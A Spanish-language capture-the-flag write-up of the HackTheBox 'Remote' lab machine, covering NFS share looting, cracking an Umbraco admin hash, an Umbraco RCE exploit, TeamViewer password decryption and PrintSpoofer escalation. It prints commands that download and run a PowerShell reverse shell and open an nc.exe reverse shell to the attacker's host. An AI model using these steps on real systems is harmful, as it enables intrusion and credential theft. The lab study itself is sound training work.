Post

HackTheBox - Remote

Máquina Windows de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Team Viewer Exploitation, PrintSpoofer

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

  • Realizamos un fuzzing al servicio web

    1
    2
    3
    4
    
      ❯ dirsearch -u http://<IP Remote>/
    
      <SNIP>
      [14:27:26] 200 -    6KB - /umbraco/webservices/codeEditorSave.asmx
    

    Umbraco es un CMS desarrollado en C# para Microsoft

  • Lo más interesante del servicio rpcbind que existe el servicio NFS. Listamos las monturas disponibles

    1
    2
    3
    
      ❯ showmount -e <IP Remote>
      Export list for 10.10.10.180:
      /site_backups (everyone)
    
  • Creamos un directorio con el nombre de la montura en /mnt y lo montamos

    1
    2
    
    mkdir site_backups
      ❯ mount -t nfs <IP Remote>:/site_backups /mnt/site_backups
    

c. Ahora ya podemos listar todo el contenido. Al investigar por algún fichero en el que se almacenen credenciales encontramos este post. Aquí nos mencionan que existen credenciales en App_Data/Umbraco.sdf

1
2
3
4
❯ strings Umbraco.sdf | less

adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
<SNIP>
  • Obtenemos un correo admin@htb.local y un hash b8be16afba8c314ad33d812f22a04991b90e2aaa el cual crackearemos con john

    1
    2
    3
    
      ❯ john admin_hash -w=/usr/share/wordlists/rockyou.txt
    
      baconandcheese
    

d. Estas credenciales nos servirán para el panel de login de Umbraco. Una vez dentro, podemos ver la versión de este CMS

  • Buscamos un exploit para esta versión de Umbraco Exploit Db

  • Primero, nos descargamos Invoke-PowerShellTcp.ps1 y le añadimos esta línea al final

      Invoke-PowerShellTcp -Reverse -IPAddress <tun0 IP> -Port 443
    
  • Ahora modificamos el script

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      login = "admin@htb.local";
      password="baconandcheese";
      host = "http://<IP Remote>";
    
    
      <SNIP>
      string cmd = "/c powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.18/reverse.ps1\')"
      proc.StartInfo.FileName = "cmd.exe";
      <SNIP>
    
  • Montamos un servicio con python, nos ponemos en escucha con nc y ejecutamos el exploit

Escalada de Privilegios 💹

Existen 2 formas de escalar privilegios

a. Al investigar un poco el sistema veremos que existe un TeamViewer 7

PS C:\Program Files (x86)\TeamViewer> dir

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ---- 
d-----        2/27/2020  10:35 AM                Version7
  • Si investigamos alguna forma de explotarlo conseguiremos este exploit

b. Los pasos que debemos seguir son

PS C:\Program Files (x86)\TeamViewer\Version7> cd HKLM:\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7
PS HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7> (get-itemproperty .).SecurityPasswordAES
  • El output del último comando lo pasaremos a una lista.

  • Ahora con un script en python obtendremos la contraseña en texto claro

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
      from itertools import product
      from Crypto.Cipher import AES
      import Crypto.Cipher.AES
    
      key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
      IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
      decipher = AES.new(key,AES.MODE_CBC,IV)
    
      password_encode = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])
      plaintext = decipher.decrypt(password_encode).decode()
      print("[+] Password:", plaintext)
      -----------------------------------------------------------------------------------------------------------------------------------------------
       python3 decrypt.py
      [+] Password: !R3m0te!
    
  • Con esta credencial nos podemos conectar con evil-winrm

    1
    2
    3
    
      ❯ evil-winrm -i 10.10.10.180 -u administrator -p '!R3m0te!'
      *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
      remote\administrator
    

a. La segunda forma es ejecutando PrintSpoofer. Lo pasamos a la máquina víctima, en conjunto con nc.exe

1
2
3
4
5
6
7
ls
PrintSpoofer64.exe
nc.exe
❯ python -m http.server 80
-------------------------------------------------------------------------------------------
PS C:\Temp> iwr -Uri "http://<tun0 IP>/PrintSpoofer64.exe" -OutFile ".\PrintSpoofer64.exe"
PS C:\Temp> iwr -Uri "http://<tun0 IP>/nc.exe" -OutFile ".\nc.exe"
  • Ahora nos enviamos una reverse shell y ya seremos nt authority\system

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      PS C:\Temp> .\PrintSpoofer64.exe -i -c "C:\Temp\nc.exe -e cmd 10.10.14.18 4444"
    
    
      ❯ nc -lvnp 4444
      Microsoft Windows [Version 10.0.17763.107]
      (c) 2018 Microsoft Corporation. All rights reserved.
      ----------------------------------------------------
      C:\Windows\system32>whoami
      nt authority\system
    
This post is licensed under CC BY 4.0 by the author.